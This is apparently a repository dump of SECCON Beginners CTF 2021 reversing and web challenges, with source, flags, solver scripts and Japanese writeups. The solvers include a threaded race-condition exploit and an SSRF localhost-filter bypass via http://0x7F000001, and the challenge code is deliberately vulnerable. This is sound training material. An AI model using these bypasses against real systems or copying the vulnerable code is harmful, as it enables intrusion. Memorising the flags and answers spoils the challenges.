-------------------------------------------------------------------------------- 1 | 2 | ███████╗██╗██████╗ ███╗ ███╗██╗ ██╗ █████╗ ██████╗ ███████╗ 3 | ██╔════╝██║██╔══██╗████╗ ████║██║ ██║██╔══██╗██╔══██╗██╔════╝ 4 | █████╗ ██║██████╔╝██╔████╔██║██║ █╗ ██║███████║██████╔╝█████╗ 5 | ██╔══╝ ██║██╔══██╗██║╚██╔╝██║██║███╗██║██╔══██║██╔══██╗██╔══╝ 6 | ██║ ██║██║ ██║██║ ╚═╝ ██║╚███╔███╔╝██║ ██║██║ ██║███████╗ 7 | ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ 8 | -------------------------------------------------------------------------------- /reversing/firmware/build/src/gen.py: -------------------------------------------------------------------------------- 1 | flag = "ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}\n" 2 | 3 | ans = [] 4 | 5 | for i in range(len(flag)): 6 | ans.append(ord(flag[i]) ^ 0x53) 7 | 8 | print(len(flag)) 9 | print(ans) 10 | -------------------------------------------------------------------------------- /reversing/firmware/files/firmware/README.txt: -------------------------------------------------------------------------------- 1 | ctf4b networks SUPER SECURE device's firmware 2 | 3 | *NOTE* 4 | 5 | It is allowed to reverse engineer this firmware. 6 | I hope you enjoy reversing this file! 7 | -------------------------------------------------------------------------------- /reversing/firmware/files/firmware/firmware.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/firmware/files/firmware/firmware.bin -------------------------------------------------------------------------------- /reversing/firmware/solver/solver.py: -------------------------------------------------------------------------------- 1 | data = [0x30, 0x27, 0x35, 0x67, 0x31, 0x28, 0x3A, 0x63, 0x27, 0xC, 0x37, 0x36, 0x25, 0x62, 0x30, 0x36, 0xC, 0x35, 0x3A, 0x21, 0x3E, 0x24, 0x67, 0x21, 0x36, 0xC, 0x32, 0x3D, 0x32, 0x62, 0x2A, 0x20, 0x3A, 0x60, 0xC, 0x21, 0x36, 0x25, 0x60, 0x32, 0x62, 0x20, 0xC, 0x32, 0xC, 0x3F, 0x63, 0x27, 0xC, 0x3C, 0x35, 0xC, 0x66, 0x36, 0x30, 0x21, 0x36, 0x64, 0x20, 0x2E, 0x59] 2 | 3 | flag = [] 4 | 5 | for i in range(len(data)): 6 | flag.append(chr(data[i] ^ 0x53)) 7 | 8 | print("".join(flag)) 9 | # ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s} 10 | -------------------------------------------------------------------------------- /reversing/only_read/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{c0n5t4nt_f0ld1ng} -------------------------------------------------------------------------------- /reversing/only_read/README.md: -------------------------------------------------------------------------------- 1 | # only read 2 | ## 問題文 3 | バイナリ読めなきゃやばいなり〜 4 | 5 | ## 難易度 6 | Beginner 7 | -------------------------------------------------------------------------------- /reversing/only_read/build/Makefile: -------------------------------------------------------------------------------- 1 | all: chall 2 | 3 | chall: src.c 4 | gcc -O0 -o chall src.c 5 | 6 | clean: 7 | rm -f chall 8 | -------------------------------------------------------------------------------- /reversing/only_read/build/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/only_read/build/chall -------------------------------------------------------------------------------- /reversing/only_read/build/randomize.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import random 3 | import sys 4 | if len(sys.argv) < 2: 5 | print("Usage: {} string".format(sys.argv[0])) 6 | else: 7 | s = sys.argv[1] 8 | for c in s: 9 | r = random.randint(0, 128) 10 | print("{} + {}".format((ord(c) - r), r)) 11 | -------------------------------------------------------------------------------- /reversing/only_read/build/src.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define FLAG_LEN 22 5 | 6 | void main() { 7 | char s[FLAG_LEN+1] = {0}; 8 | s[read(0, s, FLAG_LEN+1)] = 0; 9 | if ( 10 | s[0] == 14 + 85 && 11 | s[1] == 82 + 34 && 12 | s[2] == 94 + 8 && 13 | s[3] == -45 + 97 && 14 | s[4] == 89 + 9 && 15 | s[5] == 39 + 84 && 16 | s[6] == 58 + 41 && 17 | s[7] == 1 + 47 && 18 | s[8] == -2 + 112 && 19 | s[9] == 4 + 49 && 20 | s[10] == 106 + 10 && 21 | s[11] == 2 + 50 && 22 | s[12] == -4 + 114 && 23 | s[13] == -6 + 122 && 24 | s[14] == 47 + 48 && 25 | s[15] == 43 + 59 && 26 | s[16] == -30 + 78 && 27 | s[17] == 67 + 41 && 28 | s[18] == 32 + 68 && 29 | s[19] == -55 + 104 && 30 | s[20] == 42 + 68 && 31 | s[21] == 13 + 90 && 32 | s[22] == 19 + 106 33 | ) 34 | puts("Correct"); 35 | else 36 | puts("Incorrect"); 37 | } 38 | -------------------------------------------------------------------------------- /reversing/only_read/files/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/only_read/files/chall -------------------------------------------------------------------------------- /reversing/only_read/solver/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/only_read/solver/chall -------------------------------------------------------------------------------- /reversing/only_read/solver/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import angr 3 | import logging 4 | 5 | angr.manager.l.setLevel("CRITICAL") 6 | logging.getLogger("angr").setLevel("CRITICAL") 7 | logging.getLogger("angr.analysis").setLevel("CRITICAL") 8 | proj = angr.Project("./chal") 9 | 10 | while True: 11 | simgr = proj.factory.simgr() 12 | simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1)) 13 | found = simgr.found[0].posix.dumps(0).decode("utf-8", "ignore") 14 | print(found) 15 | exit(0) 16 | -------------------------------------------------------------------------------- /reversing/only_read/solver/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | objdump -M intel -j .text --disassemble=main chall |grep cmp|awk '{print $5}'|sed 's/al,//g'|xargs -I{} python3 -c 'print(chr({}), end="")' 3 | -------------------------------------------------------------------------------- /reversing/please_not_trace_me/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{d1d_y0u_d3crypt_rc4?} 2 | -------------------------------------------------------------------------------- /reversing/please_not_trace_me/README.md: -------------------------------------------------------------------------------- 1 | # please not trace me 2 | 3 | ## 問題文 4 | フラグを復号してくれるのは良いけど,表示してくれない!! 5 | 6 | ## 難易度 7 | Medium 8 | -------------------------------------------------------------------------------- /reversing/please_not_trace_me/build/Makefile: -------------------------------------------------------------------------------- 1 | all: chall 2 | 3 | CC=tigress # https://tigress.wtf/ 4 | CFLAGS+= --Environment=x86_64:Linux:Gcc:10.2.0 5 | CFLAGS+= --Seed=42 6 | CFLAGS+= --Transform=Flatten 7 | CFLAGS+= --Functions=main,generate_key 8 | CFLAGS+= --FlattenDispatch=switch 9 | CFLAGS+= --FlattenObfuscateNext=false 10 | CFLAGS+= --FlattenRandomizeBlocks=true 11 | CFLAGS+= --FlattenConditionalKinds=branch,compute,flag 12 | CFLAGS+= --FlattenImplicitFlowNext=true 13 | CFLAGS+= --Transform=EncodeLiterals 14 | CFLAGS+= --Functions=generate_key 15 | CFLAGS+= --EncodeLiteralsKinds=* 16 | CFLAGS+= --out=src_obfuscated.c 17 | CFLAGS+= -o chall 18 | CFLAGS+= -fcf-protection=none 19 | chall: src.c Makefile 20 | $(CC) $(CFLAGS) src.c 21 | cp chall ../files/ 22 | cp chall ../solver 23 | 24 | clean: 25 | rm -f chall 26 | -------------------------------------------------------------------------------- /reversing/please_not_trace_me/build/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/please_not_trace_me/build/chall -------------------------------------------------------------------------------- /reversing/please_not_trace_me/build/src.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define N 256 8 | 9 | 10 | char e[27] = {0x80, 0x97, 0x85, 0xD7, 0x81, 0x98, 0x87, 0xD2, 0x87, 0xBC, 0x9A, 0xD3, 0x96, 0xBC, 0x87, 0xD0, 0x80, 0x91, 0x9A, 0x93, 0x97, 0xBC, 0x91, 0x80, 0xD7, 0xDC, 0x9E}; 11 | 12 | void generate_key(char *key) { 13 | strcpy(key, "nickelodeon"); 14 | } 15 | 16 | void swap(unsigned char *a, unsigned char *b) { 17 | unsigned char tmp = *a; 18 | *a = *b; 19 | *b = tmp; 20 | } 21 | 22 | char *rc4(char *const text, char *const key) { 23 | int text_len = strlen(text); 24 | char *ret = malloc(text_len); 25 | unsigned char s[N]; 26 | 27 | int key_len = strlen(key); 28 | for (int i = 0; i < N; i++) 29 | s[i] = i; 30 | 31 | for (int i = 0, j = 0; i < N; i++) 32 | j = (j + s[i] + key[i % key_len]) % N, swap(&s[i], &s[j]); 33 | 34 | for(int i = 0, j = 0, n = 0; n < text_len; n++) { 35 | swap(&s[i], &s[j]); 36 | ret[n] = (s[(s[i] + s[j]) %N]) ^ text[n]; 37 | } 38 | 39 | return ret; 40 | } 41 | 42 | int main() { 43 | char *key; 44 | int i = 0; 45 | while(1) { 46 | switch (i) { 47 | case 0: 48 | { 49 | int offset = 0; 50 | if (ptrace(PTRACE_TRACEME, 0, 1, 0) == 0) 51 | offset = 2; 52 | if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) 53 | offset *= 3; 54 | if (offset != 2*3) 55 | fprintf(stderr, "prease not trace me...\n"), exit(1); 56 | } 57 | break; 58 | case 1: 59 | key = malloc(0x10); 60 | break; 61 | case 2: 62 | generate_key(key); 63 | break; 64 | case 3: 65 | rc4(e, key); 66 | break; 67 | case 4: 68 | puts("flag decrypted. bye."); 69 | break; 70 | case 5: 71 | exit(0); 72 | } 73 | i++; 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /reversing/please_not_trace_me/files/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/please_not_trace_me/files/chall -------------------------------------------------------------------------------- /reversing/please_not_trace_me/solver/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/reversing/please_not_trace_me/solver/chall -------------------------------------------------------------------------------- /reversing/please_not_trace_me/solver/patch: -------------------------------------------------------------------------------- 1 | wx 9090909090 @ 0x000012f3 2 | -------------------------------------------------------------------------------- /reversing/please_not_trace_me/writeup.md: -------------------------------------------------------------------------------- 1 | # please not trace me 2 | 3 | rc4で暗号化されたフラグを復号している. 4 | 5 | `main`も多少難読化されてはいるが,`ptrace`の呼び出しがあるので,NOPで潰す. 6 | 7 | あとは`gdb`で`generate_key`の後で鍵を読むなり,復号後にFlagを読むなりすれば良い 8 | -------------------------------------------------------------------------------- /web/cant_use_db/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6} -------------------------------------------------------------------------------- /web/cant_use_db/README.md: -------------------------------------------------------------------------------- 1 | # cant_use_db 2 | 3 | ## 問題文 4 | Can't use DB. 5 | I have so little money that I can't even buy the ingredients for ramen. 6 | 🍜 7 | 8 | ## 難易度 9 | **Medium** 10 | 11 | ## 作問にあたって 12 | 通常のrace condition問。 -------------------------------------------------------------------------------- /web/cant_use_db/build/.env: -------------------------------------------------------------------------------- 1 | CTF4B_FLAG=ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6} -------------------------------------------------------------------------------- /web/cant_use_db/build/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.2-alpine 2 | 3 | RUN mkdir /var/www 4 | WORKDIR /var/www 5 | 6 | COPY requirements.txt ./ 7 | 8 | RUN apk add gcc build-base linux-headers && \ 9 | pip install -r requirements.txt 10 | 11 | CMD ["uwsgi","--ini","/var/www/uwsgi.ini"] -------------------------------------------------------------------------------- /web/cant_use_db/build/app/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask == 1.1.2 2 | uwsgi == 2.0.19.1 -------------------------------------------------------------------------------- /web/cant_use_db/build/app/static/img/ramen.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/cant_use_db/build/app/static/img/ramen.jpg -------------------------------------------------------------------------------- /web/cant_use_db/build/app/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | wsgi-file = app.py 3 | callable = app 4 | master = true 5 | processes = 4 6 | threads = 4 7 | socket = :23141 8 | chmod-socket = 666 9 | vacuum = true 10 | die-on-term = true 11 | py-autoreload = 1 -------------------------------------------------------------------------------- /web/cant_use_db/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | uwsgi: 5 | build: ./app 6 | volumes: 7 | - ./app:/var/www/ 8 | env_file: .env 9 | environment: 10 | TZ: "Asia/Tokyo" 11 | nginx: 12 | build: ./nginx 13 | volumes: 14 | - ./nginx/nginx.conf:/etc/nginx/nginx.conf 15 | - ./nginx/certs:/etc/nginx/certs 16 | links: 17 | - uwsgi 18 | ports: 19 | - "443:443" 20 | environment: 21 | TZ: "Asia/Tokyo" 22 | -------------------------------------------------------------------------------- /web/cant_use_db/build/nginx/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx 2 | CMD ["nginx", "-g", "daemon off;", "-c", "/etc/nginx/nginx.conf"] 3 | -------------------------------------------------------------------------------- /web/cant_use_db/build/nginx/certs/server.crt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /web/cant_use_db/build/nginx/certs/server.key: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /web/cant_use_db/build/nginx/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx; 2 | worker_processes 1; 3 | 4 | error_log /var/log/nginx/error.log warn; 5 | pid /var/run/nginx.pid; 6 | 7 | 8 | events { 9 | worker_connections 1024; 10 | } 11 | 12 | 13 | http { 14 | include /etc/nginx/mime.types; 15 | default_type application/octet-stream; 16 | 17 | log_format main '$remote_addr - $remote_user [$time_local] "$request" ' 18 | '$status $body_bytes_sent "$http_referer" ' 19 | '"$http_user_agent" "$http_x_forwarded_for"'; 20 | 21 | access_log /var/log/nginx/access.log main; 22 | 23 | sendfile on; 24 | 25 | keepalive_timeout 65; 26 | 27 | upstream uwsgi { 28 | server uwsgi:23141; 29 | } 30 | 31 | 32 | server { 33 | listen 443 ssl http2; 34 | server_name cant-use-db.quals.beginners.seccon.jp; 35 | charset utf-8; 36 | 37 | ssl_protocols TLSv1.2; 38 | ssl_ciphers HIGH:!MEDIUM:!LOW:!aNULL:!NULL:!SHA; 39 | ssl_prefer_server_ciphers on; 40 | ssl_session_cache shared:SSL:10m; 41 | 42 | ssl_certificate /etc/nginx/certs/server.crt; 43 | ssl_certificate_key /etc/nginx/certs/server.key; 44 | 45 | location / { 46 | include uwsgi_params; 47 | uwsgi_pass uwsgi; 48 | } 49 | } 50 | 51 | server { 52 | listen 80; 53 | server_name cant-use-db.quals.beginners.seccon.jp; 54 | location / { 55 | return 301 https://$host$request_uri; 56 | } 57 | } 58 | 59 | } -------------------------------------------------------------------------------- /web/cant_use_db/files/.env: -------------------------------------------------------------------------------- 1 | CTF4B_FLAG=********************FLAG******************** -------------------------------------------------------------------------------- /web/cant_use_db/files/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.2-alpine 2 | 3 | RUN mkdir /var/www 4 | WORKDIR /var/www 5 | 6 | COPY requirements.txt ./ 7 | 8 | RUN apk add gcc build-base linux-headers && \ 9 | pip install -r requirements.txt 10 | 11 | CMD ["uwsgi","--ini","/var/www/uwsgi.ini"] -------------------------------------------------------------------------------- /web/cant_use_db/files/app/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask == 1.1.2 2 | uwsgi == 2.0.19.1 -------------------------------------------------------------------------------- /web/cant_use_db/files/app/static/img/ramen.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/cant_use_db/files/app/static/img/ramen.jpg -------------------------------------------------------------------------------- /web/cant_use_db/files/app/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | wsgi-file = app.py 3 | callable = app 4 | master = true 5 | processes = 4 6 | threads = 4 7 | socket = :23141 8 | chmod-socket = 666 9 | vacuum = true 10 | die-on-term = true 11 | py-autoreload = 1 -------------------------------------------------------------------------------- /web/cant_use_db/files/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | uwsgi: 5 | build: ./app 6 | volumes: 7 | - ./app:/var/www/ 8 | env_file: .env 9 | environment: 10 | TZ: "Asia/Tokyo" 11 | nginx: 12 | build: ./nginx 13 | volumes: 14 | - ./nginx/nginx.conf:/etc/nginx/nginx.conf 15 | links: 16 | - uwsgi 17 | ports: 18 | - "80:80" 19 | environment: 20 | TZ: "Asia/Tokyo" -------------------------------------------------------------------------------- /web/cant_use_db/files/nginx/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx 2 | CMD ["nginx", "-g", "daemon off;", "-c", "/etc/nginx/nginx.conf"] 3 | -------------------------------------------------------------------------------- /web/cant_use_db/files/nginx/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx; 2 | worker_processes 1; 3 | 4 | error_log /var/log/nginx/error.log warn; 5 | pid /var/run/nginx.pid; 6 | 7 | 8 | events { 9 | worker_connections 1024; 10 | } 11 | 12 | 13 | http { 14 | include /etc/nginx/mime.types; 15 | default_type application/octet-stream; 16 | 17 | log_format main '$remote_addr - $remote_user [$time_local] "$request" ' 18 | '$status $body_bytes_sent "$http_referer" ' 19 | '"$http_user_agent" "$http_x_forwarded_for"'; 20 | 21 | access_log /var/log/nginx/access.log main; 22 | 23 | sendfile on; 24 | #tcp_nopush on; 25 | 26 | keepalive_timeout 65; 27 | 28 | #gzip on; 29 | 30 | upstream uwsgi { 31 | server uwsgi:23141; 32 | } 33 | 34 | server { 35 | listen 80; 36 | charset utf-8; 37 | 38 | location / { 39 | include uwsgi_params; 40 | uwsgi_pass uwsgi; 41 | } 42 | 43 | } 44 | } -------------------------------------------------------------------------------- /web/cant_use_db/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.2-alpine 2 | 3 | ENV CTF4B_HOST=0.0.0.0 4 | ENV CTF4B_PORT=23140 5 | 6 | WORKDIR /app 7 | ADD . /app 8 | 9 | RUN pip install -r requirements.txt 10 | 11 | CMD ["python3", "/app/solver.py"] -------------------------------------------------------------------------------- /web/cant_use_db/solver/requirements.txt: -------------------------------------------------------------------------------- 1 | requests == 2.22.0 2 | -------------------------------------------------------------------------------- /web/cant_use_db/solver/solver.py: -------------------------------------------------------------------------------- 1 | import os 2 | import requests 3 | import threading 4 | 5 | url = f"https://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}/" 6 | 7 | def rcexploit1(cookie): 8 | requests.post(url + "/buy_noodles", cookies = cookie, verify=False) 9 | 10 | def rcexploit2(cookie): 11 | requests.post(url + "/buy_soup", cookies = cookie, verify=False) 12 | 13 | def rc(): 14 | session = requests.Session() 15 | response = session.get(url, verify=False) 16 | cookie = {"session": session.cookies.get("session")} 17 | 18 | th1 = threading.Thread(target=rcexploit1, args=(cookie,)) 19 | th2 = threading.Thread(target=rcexploit1, args=(cookie,)) 20 | th3 = threading.Thread(target=rcexploit2, args=(cookie,)) 21 | th1.start() 22 | th2.start() 23 | th3.start() 24 | 25 | requests.post(url + "/buy_noodles", cookies = cookie, verify=False) 26 | requests.post(url + "/buy_noodles", cookies = cookie, verify=False) 27 | 28 | print(cookie) 29 | return (requests.get(url + "/eat", cookies = cookie, verify=False).text) 30 | 31 | while True: 32 | flag = rc() 33 | if "ctf4b" in flag: 34 | print(flag) 35 | break -------------------------------------------------------------------------------- /web/cant_use_db/writeup.md: -------------------------------------------------------------------------------- 1 | # cant_use_db - Writeup 2 | 3 | ユーザ情報はファイル管理のようだ。 4 | 所持金以上のものを買うサイトから見てもrace conditionを狙う。 5 | ソースを見ると購入処理で`/buy_noodles`、`/buy_soup`へPOSTを投げているようだ。 6 | 並列にPOSTを投げてやればよい。 7 | ブラウザコンソールで以下を実行してもよい。 8 | ```javascript 9 | $.post('/buy_noodles'); 10 | $.post('/buy_soup'); 11 | $.post('/buy_noodles'); 12 | $.post('/buy_soup'); 13 | $.post('/buy_noodles'); 14 | $.post('/buy_soup'); 15 | $.post('/buy_noodles'); 16 | $.post('/buy_soup'); 17 | ``` -------------------------------------------------------------------------------- /web/check_url/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry} -------------------------------------------------------------------------------- /web/check_url/README.md: -------------------------------------------------------------------------------- 1 | # check_url 2 | 3 | ## 問題文 4 | Have you ever used `$curl` ? 5 | 6 | ## 難易度 7 | **Easy** 8 | 9 | ## 作問にあたって 10 | 某企業の脆弱性として本当にあったヤツ。 11 | localhostを弾いていたが、改造文字列では普通にSSRFが通ってしまっていた。 12 | curlは`$ curl "www。google。com"`もOKなので全角でのバイパスにしようか迷ったが、現実には少なそうなので止めた。 -------------------------------------------------------------------------------- /web/check_url/build/apache/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.3-apache 2 | 3 | RUN a2enmod ssl 4 | RUN a2ensite default-ssl.conf -------------------------------------------------------------------------------- /web/check_url/build/apache/certs/server.crt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /web/check_url/build/apache/certs/server.key: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /web/check_url/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | apache: 5 | build: "./apache" 6 | ports: 7 | - "443:443" 8 | volumes: 9 | - "./public:/var/www/html" 10 | - "./apache/default-ssl.conf:/etc/apache2/sites-available/default-ssl.conf" 11 | - "./apache/certs:/etc/certs" 12 | -------------------------------------------------------------------------------- /web/check_url/build/public/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014 Materialize 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /web/check_url/build/public/css/style.css: -------------------------------------------------------------------------------- 1 | /* Custom Stylesheet */ 2 | /** 3 | * Use this file to override Materialize files so you can update 4 | * the core Materialize files in the future 5 | * 6 | * Made By MaterializeCSS.com 7 | */ 8 | 9 | .icon-block { 10 | padding: 0 15px; 11 | } 12 | .icon-block .material-icons { 13 | font-size: inherit; 14 | } -------------------------------------------------------------------------------- /web/check_url/build/public/js/init.js: -------------------------------------------------------------------------------- 1 | (function($){ 2 | $(function(){ 3 | 4 | $('.sidenav').sidenav(); 5 | 6 | }); // end of document ready 7 | })(jQuery); // end of jQuery name space 8 | -------------------------------------------------------------------------------- /web/check_url/files/index.php: -------------------------------------------------------------------------------- 1 | 2 | "; 6 | echo "********************FLAG********************"; 7 | }else{ 8 | echo "Here, take this
"; 9 | $url = $_GET["url"]; 10 | if ($url !== "https://www.example.com"){ 11 | $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing 12 | } 13 | if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){ 14 | die("do not hack me!"); 15 | } 16 | echo "URL: ".$url."
"; 17 | $ch = curl_init(); 18 | curl_setopt($ch, CURLOPT_URL, $url); 19 | curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000); 20 | curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); 21 | echo ""; 24 | curl_close($ch); 25 | } 26 | ?> 27 | 28 | -------------------------------------------------------------------------------- /web/check_url/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.2-alpine 2 | 3 | ENV CTF4B_HOST=0.0.0.0 4 | ENV CTF4B_PORT=31415 5 | 6 | WORKDIR /app 7 | ADD . /app 8 | 9 | RUN pip install -r requirements.txt 10 | 11 | CMD ["python3", "/app/solver.py"] -------------------------------------------------------------------------------- /web/check_url/solver/requirements.txt: -------------------------------------------------------------------------------- 1 | requests == 2.22.0 2 | -------------------------------------------------------------------------------- /web/check_url/solver/solver.py: -------------------------------------------------------------------------------- 1 | import os 2 | import requests 3 | 4 | target = f"https://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}/" 5 | query = "?url=http://0x7F000001" 6 | 7 | r = requests.get(target + query, verify=False) 8 | print(r.text) 9 | -------------------------------------------------------------------------------- /web/check_url/writeup.md: -------------------------------------------------------------------------------- 1 | # check_url - Writeup 2 | 3 | ソースコードが配られる。 4 | `$_SERVER["REMOTE_ADDR"] === "127.0.0.1"`にてローカルからのアクセスではAdminだと判断されるが、Trueにはならない。 5 | curlを実行できるようなのでSSRFでフラグを読みだせばよいとすぐにわかる。 6 | しかし、スーパーサニタイズによってアルファベットと数字以外弾かれる。 7 | ```php 8 | if ($url !== "https://www.example.com"){ 9 | $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing 10 | } 11 | if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){ 12 | die("do not hack me!"); 13 | } 14 | ``` 15 | `127.0.0.1`にはドットが含まれている。 16 | `localhost`ならばアルファベットのみだがこれも許可されていない。 17 | `localhost`の別の記述方法を探すと`2130706433`や`0x7F000001`や`017700000001`と表せる([参考](https://qiita.com/naka_kyon/items/88478be20b300e757fc0))。 18 | curl_execでは使用できないパターンもあるが、無事`?url=http://0x7F000001`でフラグが得られる。 -------------------------------------------------------------------------------- /web/json/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck} 2 | -------------------------------------------------------------------------------- /web/json/README.md: -------------------------------------------------------------------------------- 1 | # json 2 | 3 | ## 問題文 4 | 5 | 外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。 6 | 7 | ## 題材とする脆弱性 8 | 9 | 2重keyを含むjsonのパーサー解釈不一致による検証バイパス 10 | 11 | ## 実現するためのテーマ 12 | 13 | `{"id":0, "id":1}`というjsonを与えた時、goの標準ライブラリは`id=1`と解釈するが`github.com/buger/jsonparser`は`id=0`と解釈する。この違いを利用して、本来ならばブロックされるFLAGを取ることができる。 14 | 15 | ## 想定する参加者が解答までに至る思考経路 16 | 17 | ソースコードからjsonパーサーが違うことに気づく 18 | 19 | ## 想定する難易度 20 | 21 | Medium 22 | 23 | ## 参考資料 24 | 25 | [An Exploration of JSON Interoperability Vulnerabilities](https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities) 26 | -------------------------------------------------------------------------------- /web/json/build/api/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG GO_VERSION=1.16 2 | ARG ALPINE_VERSION=3.12 3 | 4 | # build-stage 5 | 6 | FROM golang:${GO_VERSION}-alpine${ALPINE_VERSION} as build-stage 7 | 8 | WORKDIR /app 9 | 10 | COPY go.mod . 11 | COPY go.sum . 12 | 13 | RUN go mod download 14 | 15 | COPY . . 16 | 17 | RUN go build 18 | 19 | # roduction-stage 20 | 21 | FROM alpine:${ALPINE_VERSION} as production-stage 22 | 23 | RUN addgroup appgroup && adduser --disabled-password --no-create-home appuser -G appgroup 24 | 25 | WORKDIR /app 26 | 27 | COPY --from=build-stage /app/api . 28 | 29 | RUN chown -R appuser:appgroup /app 30 | 31 | RUN chmod +x ./api 32 | 33 | USER appuser 34 | 35 | CMD ./api 36 | -------------------------------------------------------------------------------- /web/json/build/api/go.mod: -------------------------------------------------------------------------------- 1 | module api 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/buger/jsonparser v1.1.1 7 | github.com/gin-gonic/gin v1.6.3 8 | github.com/go-playground/validator/v10 v10.4.1 // indirect 9 | github.com/golang/protobuf v1.5.2 // indirect 10 | github.com/json-iterator/go v1.1.10 // indirect 11 | github.com/leodido/go-urn v1.2.1 // indirect 12 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 13 | github.com/modern-go/reflect2 v1.0.1 // indirect 14 | github.com/ugorji/go v1.2.5 // 